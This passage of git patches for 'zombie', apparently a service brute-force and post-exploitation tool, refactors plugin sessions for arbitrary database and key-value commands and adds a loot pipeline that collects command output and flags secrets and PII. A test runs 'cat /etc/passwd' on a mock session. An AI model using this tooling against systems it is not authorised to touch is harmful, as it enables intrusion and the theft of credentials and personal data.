p, ok -} - -func DefaultRegistry() map[string]Plugin { - m := make(map[string]Plugin, len(registry)) - for k, v := range registry { - m[k] = v - } - return m -} - -func init() { - Register(pkg.SSHService.Name, &ssh.SshPlugin{}) - Register(pkg.MYSQLService.Name, &mysql.MysqlPlugin{}) - Register(pkg.POSTGRESQLService.Name, &postgre.PostgresPlugin{}) - Register(pkg.MSSQLService.Name, &mssql.MssqlPlugin{}) - Register(pkg.ORACLEService.Name, &oracle.OraclePlugin{}) - Register(pkg.REDISService.Name, &redis.RedisPlugin{}) - Register(pkg.MONGOService.Name, &mongo.MongoPlugin{}) - Register(pkg.SMBService.Name, &smb.SmbPlugin{}) - Register(pkg.FTPService.Name, &ftp.FtpPlugin{}) - Register(pkg.LDAPService.Name, &ldap.LdapPlugin{}) - Register(pkg.VNCService.Name, &vnc.VNCPlugin{}) - Register(pkg.RDPService.Name, &rdp.RdpPlugin{}) - Register(pkg.SNMPService.Name, &snmp.SnmpPlugin{}) - Register(pkg.POP3Service.Name, &pop3.Pop3Plugin{}) - Register(pkg.ZookeeperService.Name, &zookeeper.ZookeeperPlugin{}) - Register(pkg.MemcachedService.Name, &memcache.MemcachePlugin{}) - Register(pkg.AmqpService.Name, &mq.AMQPPlugin{}) - Register(pkg.MqttService.Name, &mq.MQTTPlugin{}) - Register(pkg.RSYNCService.Name, &rsync.RsyncPlugin{}) - Register(pkg.SOCKS5Service.Name, &socks5.Socks5Plugin{}) - Register(pkg.HTTPService.Name, &http.HttpAuthPlugin{}) - Register(pkg.HTTPSService.Name, &http.HttpAuthPlugin{}) - Register(pkg.HTTPProxyService.Name, &http.HTTPProxyPlugin{}) - Register(pkg.HTTPDigestService.Name, &http.HTTPDigestPlugin{}) - Register(pkg.GETService.Name, http.NewHTTPPlugin("GET")) - Register(pkg.PostService.Name, http.NewHTTPPlugin("POST")) - Register("neutron", &neutron.NeutronPlugin{}) -} diff --git a/plugin/rsync/rsync.go b/plugin/rsync/rsync.go index 84463fc..0abfa7b 100644 --- a/plugin/rsync/rsync.go +++ b/plugin/rsync/rsync.go @@ -4,6 +4,11 @@ import ( "github.com/chainreactors/zombie/pkg" ) +func init() { + pkg.RegisterPlugin("rsync", &RsyncPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "rsync", DefaultPort: "873", Source: pkg.PluginSource}) +} + // rsyncSession implements pkg.Session. Rsync uses short-lived socket // connections per operation, so there is no persistent conn to wrap. type rsyncSession struct { diff --git a/plugin/smb/smb.go b/plugin/smb/smb.go index 2cdac02..2ae6031 100644 --- a/plugin/smb/smb.go +++ b/plugin/smb/smb.go @@ -11,6 +11,11 @@ import ( "github.com/hirochachacha/go-smb2" ) +func init() { + pkg.RegisterPlugin("smb", &SmbPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "smb", DefaultPort: "445", Source: pkg.PluginSource}) +} + // smbSession implements pkg.FileSession over an authenticated SMB2 session. type smbSession struct { service string diff --git a/plugin/snmp/snmp.go b/plugin/snmp/snmp.go index ec2eeed..4953661 100644 --- a/plugin/snmp/snmp.go +++ b/plugin/snmp/snmp.go @@ -6,6 +6,11 @@ import ( "time" ) +func init() { + pkg.RegisterPlugin("snmp", &SnmpPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "snmp", DefaultPort: "161", Source: pkg.PluginSource}) +} + // snmpSession implements pkg.Session over an SNMP connection. type snmpSession struct { service string diff --git a/plugin/socks5/socks5.go b/plugin/socks5/socks5.go index 94e6443..f0677d9 100644 --- a/plugin/socks5/socks5.go +++ b/plugin/socks5/socks5.go @@ -8,6 +8,11 @@ import ( "net/url" ) +func init() { + pkg.RegisterPlugin("socks5", &Socks5Plugin{}) + pkg.Services.Register(&pkg.Service{Name: "socks5", DefaultPort: "1080", Source: pkg.PluginSource}) +} + // socks5Session implements pkg.Session over a SOCKS5 proxy dialer. type socks5Session struct { service string diff --git a/plugin/ssh/ssh.go b/plugin/ssh/ssh.go index e51a347..e312425 100644 --- a/plugin/ssh/ssh.go +++ b/plugin/ssh/ssh.go @@ -11,6 +11,11 @@ import ( "golang.org/x/crypto/ssh" ) +func init() { + pkg.RegisterPlugin("ssh", &SshPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "ssh", DefaultPort: "22", Source: pkg.PluginSource}) +} + // sshSession implements pkg.ShellSession over an authenticated SSH connection. type sshSession struct { service string diff --git a/plugin/vnc/vnc.go b/plugin/vnc/vnc.go index d7ae44b..e59002a 100644 --- a/plugin/vnc/vnc.go +++ b/plugin/vnc/vnc.go @@ -6,6 +6,11 @@ import ( "time" ) +func init() { + pkg.RegisterPlugin("vnc", &VNCPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "vnc", DefaultPort: "5900", Source: pkg.PluginSource}) +} + // vncSession implements pkg.Session over an authenticated VNC connection. type vncSession struct { service string diff --git a/plugin/zookeeper/zookeeper.go b/plugin/zookeeper/zookeeper.go index 6072d17..fb16517 100644 --- a/plugin/zookeeper/zookeeper.go +++ b/plugin/zookeeper/zookeeper.go @@ -7,6 +7,11 @@ import ( "time" ) +func init() { + pkg.RegisterPlugin("zookeeper", &ZookeeperPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "zookeeper", DefaultPort: "2181", Source: pkg.PluginSource}) +} + // zkSession implements pkg.Session over a ZooKeeper connection. type zkSession struct { service string From 3f666b934f8c540e91c330354ec2c4fb54ba7a63 Mon Sep 17 00:00:00 2001 From: M09Ic Date: Fri, 26 Jun 2026 10:06:29 -0700 Subject: [PATCH 13/18] =?UTF-8?q?refactor:=20simplify=20session=20layer=20?= =?UTF-8?q?=E2=80=94=20atomic=20DSL=20execution=20interfaces?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Session interfaces now provide only atomic DSL execution, with template-driven orchestration on top. - SQLSession: remove Databases() — templates use `db: "SHOW DATABASES"` directly - KVSession: absorb RawCommander's Command() — unified kv op dispatch - Delete 5 AsXxx() helpers — direct type assertions in execute.go - Remove Op.Databases field and __databases__ special case in execDB - Memcached: implement KVSession (Get/Command for SET/DELETE/FLUSH) - MongoDB: implement KVSession (Get/Keys/Command via RunCommand) - ZooKeeper: implement KVSession (Get/Keys/Command for SET/CREATE/DELETE) Co-Authored-By: Claude Opus 4.6 (1M context) --- pkg/session.go | 27 +------------ plugin/internal/sqlsess/sqlsess.go | 36 +---------------- plugin/memcache/memcache.go | 36 +++++++++++++++-- plugin/mongo/mongo.go | 33 ++++++++++++++++ plugin/zookeeper/zookeeper.go | 42 +++++++++++++++++++- service/execute.go | 63 ++++++++++++------------------ service/load_test.go | 2 +- service/service.go | 13 ++---- 8 files changed, 137 insertions(+), 115 deletions(-) diff --git a/pkg/session.go b/pkg/session.go index fbdbbaa..0c17a0a 100644 --- a/pkg/session.go +++ b/pkg/session.go @@ -14,13 +14,13 @@ type ShellSession interface { type SQLSession interface { Session Query(query string, args ...any) ([][]string, error) - Databases() ([]string, error) } type KVSession interface { Session Get(key string) ([]byte, error) Keys(pattern string) ([]string, error) + Command(name string, args ...string) (interface{}, error) } type FileSession interface { @@ -35,31 +35,6 @@ type DirectorySession interface { Search(baseDN, filter string, attrs []string) ([]map[string][]string, error) } -func AsShell(s Session) (ShellSession, bool) { - ss, ok := s.(ShellSession) - return ss, ok -} - -func AsSQL(s Session) (SQLSession, bool) { - ss, ok := s.(SQLSession) - return ss, ok -} - -func AsKV(s Session) (KVSession, bool) { - ss, ok := s.(KVSession) - return ss, ok -} - -func AsFile(s Session) (FileSession, bool) { - ss, ok := s.(FileSession) - return ss, ok -} - -func AsDirectory(s Session) (DirectorySession, bool) { - ss, ok := s.(DirectorySession) - return ss, ok -} - type Plugin interface { Name() string Open(task *Task) (Session, error) diff --git a/plugin/internal/sqlsess/sqlsess.go b/plugin/internal/sqlsess/sqlsess.go index 077c46a..b5e17c4 100644 --- a/plugin/internal/sqlsess/sqlsess.go +++ b/plugin/internal/sqlsess/sqlsess.go @@ -1,9 +1,6 @@ package sqlsess -import ( - "database/sql" - "fmt" -) +import "database/sql" type Session struct { DB *sql.DB @@ -51,34 +48,3 @@ func (s *Session) Query(query string, args ...any) ([][]string, error) { return result, rows.Err() } -func (s *Session) Databases() ([]string, error) { - var query string - switch s.SvcName { - case "mysql": - query = "SHOW DATABASES" - case "postgresql": - query = "SELECT datname FROM pg_database WHERE datistemplate = false" - case "mssql": - query = "SELECT name FROM sys.databases" - case "oracle": - query = "SELECT DISTINCT owner FROM all_tables" - default: - return nil, fmt.Errorf("unsupported service: %s", s.SvcName) - } - - rows, err := s.Query(query) - if err != nil { - return nil, err - } - - var dbs []string - for i, row := range rows { - if i == 0 { - continue - } - if len(row) > 0 { - dbs = append(dbs, row[0]) - } - } - return dbs, nil -} diff --git a/plugin/memcache/memcache.go b/plugin/memcache/memcache.go index 594e657..a5f2a07 100644 --- a/plugin/memcache/memcache.go +++ b/plugin/memcache/memcache.go @@ -2,6 +2,8 @@ package memcache import ( "fmt" + "strings" + "github.com/bradfitz/gomemcache/memcache" "github.com/chainreactors/zombie/pkg" ) @@ -20,9 +22,37 @@ type memcacheSession struct { func (s *memcacheSession) Service() string { return s.service } func (s *memcacheSession) Raw() interface{} { return s.client } -func (s *memcacheSession) Close() error { - // Memcache client doesn't have a close method - return nil +func (s *memcacheSession) Close() error { return nil } + +func (s *memcacheSession) Get(key string) ([]byte, error) { + item, err := s.client.Get(key) + if err != nil { + return nil, err + } + return item.Value, nil +} + +func (s *memcacheSession) Keys(pattern string) ([]string, error) { + return nil, fmt.Errorf("memcached does not support key enumeration") +} + +func (s *memcacheSession) Command(name string, args ...string) (interface{}, error) { + switch strings.ToUpper(name) { + case "SET": + if len(args) < 2 { + return nil, fmt.Errorf("SET requires key and value") + } + return "OK", s.client.Set(&memcache.Item{Key: args[0], Value: []byte(args[1])}) + case "DELETE": + if len(args) < 1 { + return nil, fmt.Errorf("DELETE requires key") + } + return "OK", s.client.Delete(args[0]) + case "FLUSH", "FLUSH_ALL": + return "OK", s.client.FlushAll() + default: + return nil, fmt.Errorf("unsupported memcached command: %s", name) + } } // MemcachePlugin is stateless; all connection state lives in memcacheSession. diff --git a/plugin/mongo/mongo.go b/plugin/mongo/mongo.go index 47496ae..c6bd9bd 100644 --- a/plugin/mongo/mongo.go +++ b/plugin/mongo/mongo.go @@ -4,6 +4,7 @@ import ( "context" "fmt" "github.com/chainreactors/zombie/pkg" + "go.mongodb.org/mongo-driver/bson" "go.mongodb.org/mongo-driver/mongo" "go.mongodb.org/mongo-driver/mongo/options" "time" @@ -26,6 +27,38 @@ func (s *mongoSession) Close() error { return nil } +func (s *mongoSession) Get(key string) ([]byte, error) { + result := s.client.Database("admin").RunCommand(s.ctx, bson.D{{Key: key, Value: 1}}) + if result.Err() != nil { + return nil, result.Err() + } + raw, err := result.DecodeBytes() + if err != nil { + return nil, err + } + return []byte(raw.String()), nil +} + +func (s *mongoSession) Keys(pattern string) ([]string, error) { + return s.client.ListDatabaseNames(s.ctx, bson.D{}) +} + +func (s *mongoSession) Command(name string, args ...string) (interface{}, error) { + cmd := bson.D{{Key: name, Value: 1}} + for i := 0; i+1 < len(args); i += 2 { + cmd = append(cmd, bson.E{Key: args[i], Value: args[i+1]}) + } + result := s.client.Database("admin").RunCommand(s.ctx, cmd) + if result.Err() != nil { + return nil, result.Err() + } + raw, err := result.DecodeBytes() + if err != nil { + return nil, err + } + return raw.String(), nil +} + func init() { pkg.RegisterPlugin("mongo", &MongoPlugin{}) pkg.Services.Register(&pkg.Service{Name: "mongo", DefaultPort: "27017", Alias: []string{"mongodb"}, Source: pkg.PluginSource}) diff --git a/plugin/zookeeper/zookeeper.go b/plugin/zookeeper/zookeeper.go index fb16517..0622ac1 100644 --- a/plugin/zookeeper/zookeeper.go +++ b/plugin/zookeeper/zookeeper.go @@ -2,9 +2,11 @@ package zookeeper import ( "fmt" + "strings" + "time" + "github.com/chainreactors/zombie/pkg" "github.com/samuel/go-zookeeper/zk" - "time" ) func init() { @@ -28,6 +30,44 @@ func (s *zkSession) Close() error { return nil } +func (s *zkSession) Get(key string) ([]byte, error) { + data, _, err := s.conn.Get(key) + return data, err +} + +func (s *zkSession) Keys(pattern string) ([]string, error) { + path := pattern + if path == "*" || path == "" { + path = "/" + } + children, _, err := s.conn.Children(path) + return children, err +} + +func (s *zkSession) Command(name string, args ...string) (interface{}, error) { + switch strings.ToUpper(name) { + case "SET": + if len(args) < 2 { + return nil, fmt.Errorf("SET requires path and data") + } + _, err := s.conn.Set(args[0], []byte(args[1]), -1) + return "OK", err + case "CREATE": + if len(args) < 2 { + return nil, fmt.Errorf("CREATE requires path and data") + } + path, err := s.conn.Create(args[0], []byte(args[1]), 0, zk.WorldACL(zk.PermAll)) + return path, err + case "DELETE": + if len(args) < 1 { + return nil, fmt.Errorf("DELETE requires path") + } + return "OK", s.conn.Delete(args[0], -1) + default: + return nil, fmt.Errorf("unsupported zookeeper command: %s", name) + } +} + // ZookeeperPlugin is stateless; all connection state lives in zkSession. type ZookeeperPlugin struct{} diff --git a/service/execute.go b/service/execute.go index 46fc170..d077b34 100644 --- a/service/execute.go +++ b/service/execute.go @@ -140,8 +140,6 @@ func normalizeOp(op *Op) *Op { n.Shell = n.Exec case n.Query != "": n.DB = n.Query - case n.Databases: - n.DB = "__databases__" case n.Get != "": n.KV = "GET " + n.Get case n.Keys != "": @@ -223,7 +221,7 @@ func executeOp(session pkg.Session, op *Op) (string, error) { } func execShell(session pkg.Session, cmd string) (string, error) { - sh, ok := pkg.AsShell(session) + sh, ok := session.(pkg.ShellSession) if !ok { return "", fmt.Errorf("session does not support shell") } @@ -232,18 +230,10 @@ func execShell(session pkg.Session, cmd string) (string, error) { } func execDB(session pkg.Session, query string) (string, error) { - sq, ok := pkg.AsSQL(session) + sq, ok := session.(pkg.SQLSession) if !ok { return "", fmt.Errorf("session does not support db") } - switch strings.ToLower(strings.TrimSpace(query)) { - case "__databases__", "databases", "show databases": - dbs, err := sq.Databases() - if err != nil { - return "", err - } - return strings.Join(dbs, "\n"), nil - } rows, err := sq.Query(query) if err != nil { return "", err @@ -257,6 +247,11 @@ func execDB(session pkg.Session, query string) (string, error) { } func execKV(session pkg.Session, expr string) (string, error) { + kv, ok := session.(pkg.KVSession) + if !ok { + return "", fmt.Errorf("session does not support kv") + } + parts, err := parseCommandFields(expr) if err != nil { return "", err @@ -268,36 +263,26 @@ func execKV(session pkg.Session, expr string) (string, error) { verb := strings.ToUpper(parts[0]) arg := strings.Join(parts[1:], " ") - kv, isKV := pkg.AsKV(session) - switch verb { case "GET": - if isKV { - val, err := kv.Get(arg) - return string(val), err - } + val, err := kv.Get(arg) + return string(val), err case "KEYS": - if isKV { - if arg == "" { - arg = "*" - } - keys, err := kv.Keys(arg) - if err != nil { - return "", err - } - return strings.Join(keys, "\n"), nil + if arg == "" { + arg = "*" } + keys, err := kv.Keys(arg) + if err != nil { + return "", err + } + return strings.Join(keys, "\n"), nil + default: + result, err := kv.Command(parts[0], parts[1:]...) + if err != nil { + return "", err + } + return formatCommandResult(result), nil } - - rc, ok := session.(RawCommander) - if !ok { - return "", fmt.Errorf("session does not support command: %s", verb) - } - result, err := rc.Command(parts[0], parts[1:]...) - if err != nil { - return "", err - } - return formatCommandResult(result), nil } func formatCommandResult(result interface{}) string { @@ -390,7 +375,7 @@ func parseCommandFields(expr string) ([]string, error) { } func execFile(session pkg.Session, op *FileOp) (string, error) { - fs, ok := pkg.AsFile(session) + fs, ok := session.(pkg.FileSession) if !ok { return "", fmt.Errorf("session does not support file") } @@ -415,7 +400,7 @@ func execFile(session pkg.Session, op *FileOp) (string, error) { } func execLDAP(session pkg.Session, op *LDAPOp) (string, error) { - dir, ok := pkg.AsDirectory(session) + dir, ok := session.(pkg.DirectorySession) if !ok { return "", fmt.Errorf("session does not support ldap") } diff --git a/service/load_test.go b/service/load_test.go index 5e5c82f..f734389 100644 --- a/service/load_test.go +++ b/service/load_test.go @@ -92,7 +92,7 @@ func hasAction(op *Op) bool { return op.Shell != "" || op.DB != "" || op.KV != "" || (op.File != nil && (op.File.List != "" || op.File.Read != "")) || op.LDAP != nil || - op.Exec != "" || op.Query != "" || op.Databases || + op.Exec != "" || op.Query != "" || op.Get != "" || op.Keys != "" || op.Cmd != "" || op.List != "" || op.Read != "" || op.Search != nil } diff --git a/service/service.go b/service/service.go index 5365d00..7db21a7 100644 --- a/service/service.go +++ b/service/service.go @@ -11,12 +11,6 @@ const ServiceProtocol protocols.ProtocolType = 6 var _ protocols.Request = &Request{} -// RawCommander is an optional interface for sessions that support -// arbitrary command execution beyond their typed interface (e.g., Redis CONFIG/SLAVEOF). -type RawCommander interface { - Command(name string, args ...string) (interface{}, error) -} - // Request implements protocols.Request for the service protocol. type Request struct { operators.Operators `json:",inline" yaml:",inline"` @@ -45,10 +39,9 @@ type Op struct { Name string `json:"name,omitempty" yaml:"name,omitempty"` // Legacy aliases kept so existing service templates continue to load. - Exec string `json:"exec,omitempty" yaml:"exec,omitempty"` - Query string `json:"query,omitempty" yaml:"query,omitempty"` - Databases bool `json:"databases,omitempty" yaml:"databases,omitempty"` - Get string `json:"get,omitempty" yaml:"get,omitempty"` + Exec string `json:"exec,omitempty" yaml:"exec,omitempty"` + Query string `json:"query,omitempty" yaml:"query,omitempty"` + Get string `json:"get,omitempty" yaml:"get,omitempty"` Keys string `json:"keys,omitempty" yaml:"keys,omitempty"` Cmd string `json:"cmd,omitempty" yaml:"cmd,omitempty"` List string `json:"list,omitempty" yaml:"list,omitempty"` From 4327a6c8f60571096c93041b74c0c9bf5a099e02 Mon Sep 17 00:00:00 2001 From: M09Ic Date: Fri, 26 Jun 2026 10:12:44 -0700 Subject: [PATCH 14/18] refactor: MongoDB session from KVSession to SQLSession MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit MongoDB is a database, not a KV store. Query() now handles: - "show databases" → ListDatabaseNames - "show collections " → ListCollectionNames - any other command → RunCommand on admin db Templates use `db: "show databases"` instead of forced KV semantics. Co-Authored-By: Claude Opus 4.6 (1M context) --- plugin/mongo/mongo.go | 67 ++++++++++++++++++++++++++----------------- 1 file changed, 40 insertions(+), 27 deletions(-) diff --git a/plugin/mongo/mongo.go b/plugin/mongo/mongo.go index c6bd9bd..b980a8f 100644 --- a/plugin/mongo/mongo.go +++ b/plugin/mongo/mongo.go @@ -3,14 +3,15 @@ package mongo import ( "context" "fmt" + "strings" + "time" + "github.com/chainreactors/zombie/pkg" "go.mongodb.org/mongo-driver/bson" "go.mongodb.org/mongo-driver/mongo" "go.mongodb.org/mongo-driver/mongo/options" - "time" ) -// mongoSession implements pkg.Session over a MongoDB client. type mongoSession struct { service string client *mongo.Client @@ -27,28 +28,44 @@ func (s *mongoSession) Close() error { return nil } -func (s *mongoSession) Get(key string) ([]byte, error) { - result := s.client.Database("admin").RunCommand(s.ctx, bson.D{{Key: key, Value: 1}}) - if result.Err() != nil { - return nil, result.Err() - } - raw, err := result.DecodeBytes() - if err != nil { - return nil, err - } - return []byte(raw.String()), nil -} +func (s *mongoSession) Query(query string, args ...any) ([][]string, error) { + query = strings.TrimSpace(query) -func (s *mongoSession) Keys(pattern string) ([]string, error) { - return s.client.ListDatabaseNames(s.ctx, bson.D{}) -} + parts := strings.SplitN(query, " ", 2) + cmd := parts[0] + + switch strings.ToLower(cmd) { + case "show": + if len(parts) > 1 && strings.HasPrefix(strings.ToLower(parts[1]), "db") { + dbs, err := s.client.ListDatabaseNames(s.ctx, bson.D{}) + if err != nil { + return nil, err + } + rows := [][]string{{"database"}} + for _, db := range dbs { + rows = append(rows, []string{db}) + } + return rows, nil + } + if len(parts) > 1 && strings.HasPrefix(strings.ToLower(parts[1]), "collection") { + dbAndRest := strings.TrimPrefix(strings.ToLower(parts[1]), "collections ") + colls, err := s.client.Database(dbAndRest).ListCollectionNames(s.ctx, bson.D{}) + if err != nil { + return nil, err + } + rows := [][]string{{"collection"}} + for _, c := range colls { + rows = append(rows, []string{c}) + } + return rows, nil + } + } -func (s *mongoSession) Command(name string, args ...string) (interface{}, error) { - cmd := bson.D{{Key: name, Value: 1}} - for i := 0; i+1 < len(args); i += 2 { - cmd = append(cmd, bson.E{Key: args[i], Value: args[i+1]}) + cmdDoc := bson.D{{Key: cmd, Value: 1}} + if len(parts) > 1 { + cmdDoc = append(cmdDoc, bson.E{Key: "arg", Value: parts[1]}) } - result := s.client.Database("admin").RunCommand(s.ctx, cmd) + result := s.client.Database("admin").RunCommand(s.ctx, cmdDoc) if result.Err() != nil { return nil, result.Err() } @@ -56,7 +73,7 @@ func (s *mongoSession) Command(name string, args ...string) (interface{}, error) if err != nil { return nil, err } - return raw.String(), nil + return [][]string{{"result"}, {raw.String()}}, nil } func init() { @@ -64,14 +81,12 @@ func init() { pkg.Services.Register(&pkg.Service{Name: "mongo", DefaultPort: "27017", Alias: []string{"mongodb"}, Source: pkg.PluginSource}) } -// MongoPlugin is stateless; all connection state lives in mongoSession. type MongoPlugin struct{} func (p *MongoPlugin) Name() string { return "mongo" } func (p *MongoPlugin) Open(task *pkg.Task) (pkg.Session, error) { var url string - if task.Password == "" { url = fmt.Sprintf("mongodb://%v:%v", task.IP, task.Port) } else { @@ -83,12 +98,10 @@ func (p *MongoPlugin) Open(task *pkg.Task) (pkg.Session, error) { if err != nil { return nil, err } - err = client.Ping(task.Context, nil) - if err != nil { + if err := client.Ping(task.Context, nil); err != nil { client.Disconnect(task.Context) return nil, err } - return &mongoSession{service: task.Service, client: client, ctx: task.Context}, nil } From 8f321788655d7d588be15bf2e5576fc3ef45b85e Mon Sep 17 00:00:00 2001 From: M09Ic Date: Fri, 26 Jun 2026 11:03:33 -0700 Subject: [PATCH 15/18] feat: loot extraction pipeline + CI for zombie 2.0 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Connect the ServiceAction → Loot → PostAction pipeline: - service/execute.go: populate OperatorsResult.Response with raw op output - service/template.go: accumulate raw responses across all requests - action/service.go: store raw response as Loot entry per template - action/post.go: add NewPostActionFromData() for embedded loot rules - core/runner.go: --gather auto-activates PostAction from embedded rules Add 10 PII/secret detection rules (proton file: format): phone, email, id-card, bank-card, password-hash, jwt, cloud-credential, connection-string, private-key, internal-ip Embed loot rules via templates_gen.go zombie_loot key. CI: split into lint/test/build/templates jobs, add template validation and embedded-data freshness check. Tests: Response preservation, Loot population, PostActionFromData, gather pipeline, loot template validation, docker integration. Co-Authored-By: Claude Opus 4.6 (1M context) --- .github/workflows/ci.yml | 86 +++- action/action_test.go | 135 ++++++ action/post.go | 50 ++- action/service.go | 7 + core/e2e_test.go | 49 +++ core/runner.go | 12 + integration/service_template_docker_test.go | 393 ++++++++++++++++++ pkg/data/port.bin | Bin 1810 -> 1794 bytes pkg/data/zombie_common.bin | Bin 1086 -> 1069 bytes pkg/data/zombie_default.bin | Bin 328 -> 321 bytes pkg/data/zombie_loot.bin | Bin 0 -> 887 bytes pkg/data/zombie_rule.bin | Bin 115932 -> 115866 bytes pkg/data/zombie_service.bin | Bin 0 -> 11436 bytes pkg/data/zombie_template.bin | Bin 5281 -> 5261 bytes pkg/loader.go | 6 + pkg/resource_provider.go | 3 + pkg/result_format_test.go | 43 ++ pkg/templates.go | 11 +- plugin/memcache/memcache.go | 4 - plugin/zookeeper/zookeeper.go | 2 - service/execute.go | 10 +- service/load_test.go | 47 +++ service/service_test.go | 105 +++++ service/template.go | 10 +- testdata/service-template/.gitignore | 1 + testdata/service-template/README.md | 95 +++++ testdata/service-template/compose.yaml | 82 ++++ .../service-template/mysql/init/001-init.sql | 18 + .../postgres/init/001-init.sql | 6 + testdata/service-template/ssh/Dockerfile | 13 + testdata/service-template/ssh/entrypoint.sh | 5 + .../exploit/mysql-outfile-local.yaml | 26 ++ .../exploit/postgres-copy-program-local.yaml | 28 ++ .../exploit/redis-write-webshell-local.yaml | 51 +++ .../templates/payload/redis-payload-cli.yaml | 24 ++ .../mysql-post-exploit-local.yaml | 42 ++ .../postgres-post-exploit-local.yaml | 35 ++ .../redis-post-exploit-local.yaml | 72 ++++ .../post-exploit/ssh-post-exploit-local.yaml | 48 +++ .../templates/smoke/mysql-smoke.yaml | 28 ++ .../templates/smoke/postgres-smoke.yaml | 28 ++ .../templates/smoke/redis-smoke.yaml | 33 ++ .../templates/smoke/ssh-smoke.yaml | 28 ++ 43 files changed, 1598 insertions(+), 38 deletions(-) create mode 100644 integration/service_template_docker_test.go create mode 100644 pkg/data/zombie_loot.bin create mode 100644 pkg/data/zombie_service.bin create mode 100644 pkg/result_format_test.go create mode 100644 testdata/service-template/.gitignore create mode 100644 testdata/service-template/README.md create mode 100644 testdata/service-template/compose.yaml create mode 100644 testdata/service-template/mysql/init/001-init.sql create mode 100644 testdata/service-template/postgres/init/001-init.sql create mode 100644 testdata/service-template/ssh/Dockerfile create mode 100644 testdata/service-template/ssh/entrypoint.sh create mode 100644 testdata/service-template/templates/exploit/mysql-outfile-local.yaml create mode 100644 testdata/service-template/templates/exploit/postgres-copy-program-local.yaml create mode 100644 testdata/service-template/templates/exploit/redis-write-webshell-local.yaml create mode 100644 testdata/service-template/templates/payload/redis-payload-cli.yaml create mode 100644 testdata/service-template/templates/post-exploit/mysql-post-exploit-local.yaml create mode 100644 testdata/service-template/templates/post-exploit/postgres-post-exploit-local.yaml create mode 100644 testdata/service-template/templates/post-exploit/redis-post-exploit-local.yaml create mode 100644 testdata/service-template/templates/post-exploit/ssh-post-exploit-local.yaml create mode 100644 testdata/service-template/templates/smoke/mysql-smoke.yaml create mode 100644 testdata/service-template/templates/smoke/postgres-smoke.yaml create mode 100644 testdata/service-template/templates/smoke/redis-smoke.yaml create mode 100644 testdata/service-template/templates/smoke/ssh-smoke.yaml diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index d5ec745..e190bb1 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -12,36 +12,88 @@ permissions: contents: read jobs: - basic: - name: basic checks (${{ matrix.os }}) + lint: + name: lint + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + submodules: recursive + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + cache: true + + - run: go vet ./... + + test: + name: test (${{ matrix.os }}) runs-on: ${{ matrix.os }} strategy: fail-fast: false matrix: - os: - - ubuntu-latest - - windows-latest + os: [ubuntu-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + with: + submodules: recursive + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + cache: true + - run: go mod download + + - name: Unit & E2E tests + run: go test -count=1 -timeout 300s ./... + + build: + name: build (${{ matrix.os }}) + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] steps: - - name: Checkout - uses: actions/checkout@v4 + - uses: actions/checkout@v4 with: submodules: recursive - - name: Set up Go - uses: actions/setup-go@v5 + - uses: actions/setup-go@v5 with: go-version-file: go.mod cache: true - - name: Download dependencies - run: go mod download + - run: go build ./... + + - name: Build with emptytemplates tag + run: go build -tags emptytemplates ./... + + templates: + name: template validation + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + submodules: recursive + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + cache: true - - name: Test - run: go test -count=1 ./... + - name: Validate service templates + run: go test -count=1 -run TestLoadAllTemplates ./service/... - - name: Vet - run: go vet ./... + - name: Validate loot templates + run: go test -count=1 -run TestLoadLootTemplates ./service/... - - name: Build packages - run: go build ./... + - name: Verify embedded data is current + run: | + go run templates/templates_gen.go -t templates -o /tmp/templates_check.go -need zombie -embed + diff -q pkg/templates.go /tmp/templates_check.go || { + echo "::error::pkg/templates.go is out of date — run 'go generate' and commit" + exit 1 + } diff --git a/action/action_test.go b/action/action_test.go index 1dcd181..a5204fa 100644 --- a/action/action_test.go +++ b/action/action_test.go @@ -4,6 +4,7 @@ import ( "fmt" "os" "path/filepath" + "strings" "testing" "github.com/chainreactors/parsers" @@ -565,6 +566,140 @@ services: } } +// --- ServiceAction Loot Population --- + +func TestServiceAction_LootPopulated(t *testing.T) { + dir := t.TempDir() + tmpl := `id: loot-test +service: [ssh] +info: + name: Loot Test + severity: info +services: + - ops: + - shell: "cat /etc/passwd" + name: passwd + extractors: + - type: regex + name: users + part: passwd + regex: ['(\w+):'] +` + os.WriteFile(filepath.Join(dir, "loot.yaml"), []byte(tmpl), 0644) + a := loadAndCreateServiceAction(t, dir) + session := &mockShellSession{ + files: map[string][]byte{ + "cat /etc/passwd": []byte("root:x:0:0:root:/root:/bin/bash\nwww:x:33:33:www-data:/var/www\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + if result.Loot == nil || len(result.Loot) == 0 { + t.Fatal("Loot should be populated with raw response data") + } + data, ok := result.Loot["loot-test"] + if !ok { + t.Fatalf("Loot missing key 'loot-test', got keys: %v", lootKeys(result.Loot)) + } + if !strings.Contains(string(data), "root:x:0:0") { + t.Errorf("Loot should contain raw passwd output, got %q", string(data)) + } +} + +func TestServiceAction_LootPopulatedWithoutMatch(t *testing.T) { + dir := t.TempDir() + tmpl := `id: nomatch-loot +service: [ssh] +info: + name: No Match Loot + severity: info +services: + - ops: + - shell: "whoami" + name: user + matchers: + - type: word + part: user + words: ["WILL_NOT_MATCH"] +` + os.WriteFile(filepath.Join(dir, "nomatch.yaml"), []byte(tmpl), 0644) + a := loadAndCreateServiceAction(t, dir) + session := &mockShellSession{ + files: map[string][]byte{ + "whoami": []byte("testuser\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + if result.Loot == nil || len(result.Loot) == 0 